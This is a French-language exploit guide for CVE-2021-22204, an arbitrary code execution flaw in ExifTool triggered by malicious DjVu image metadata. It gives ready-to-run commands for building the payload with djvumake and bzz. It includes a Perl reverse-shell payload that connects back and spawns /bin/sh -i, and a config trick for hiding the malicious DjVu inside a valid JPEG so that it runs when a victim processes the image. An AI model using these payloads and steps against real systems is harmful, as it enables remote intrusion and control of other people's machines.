
Script d'exploitation et guide d'exploitation manuelle pour CVE-2021-22204, une vulnérabilité d'exécution de code arbitraire dans ExifTool via des images DjVu malveillantes. Inclut la génération de payload et des techniques de reverse shell.
La neutralisation incorrecte des données utilisateur dans le format de fichier DjVu dans ExifTool versions 7.44 et ultérieures permet l'exécution arbitraire de code lors de l'analyse de l'image malveillante

Commande système :
bash CVE-2021-2204.sh "system('id')" happy.jpg
Reverse shell
bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg
*Votre IP et PORT
$ sudo apt install djvulibre-bin
# Installs the required tools
$ bzz payload payload.bzz
# Compress our payload file with to make it non human-readable
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file
Charge utile
(metadata "\c${system('id')};")
Charge utile (pour reversehell)
(metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(9999,inet_aton('localhost')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};#")
Ensuite, lorsque la victime ouvre le fichier exploit.djvu avec une version vulnérable
d'ExifTool, notre code Perl embarqué exécutera la commande id .
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
0xc51b => {
Name => 'HasselbladExif',
Writable => 'string',
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end%
Ce fichier permet d'écrire une nouvelle balise dans le fichier, avec le nom HasselbladExif et les octets 0xc51b pour l'identifier dans notre nouveau fichier. Ensuite, nous pouvons l'insérer dans n'importe quel fichier. [8]Ensuite, utilisez-le et notre exploit.djvu déjà créé pour insérer le fichier DjVu malveillant dans un JPEG valide
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' hacker.jpg
configfile = The name of our configuration file;
-HasselbladExif = Tag name that are specified in the config file;
exploit.djvu = Our exploit, previously made with djvumake;
hacker.jpg = A valid JPEG file;
Crédits et aide : https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/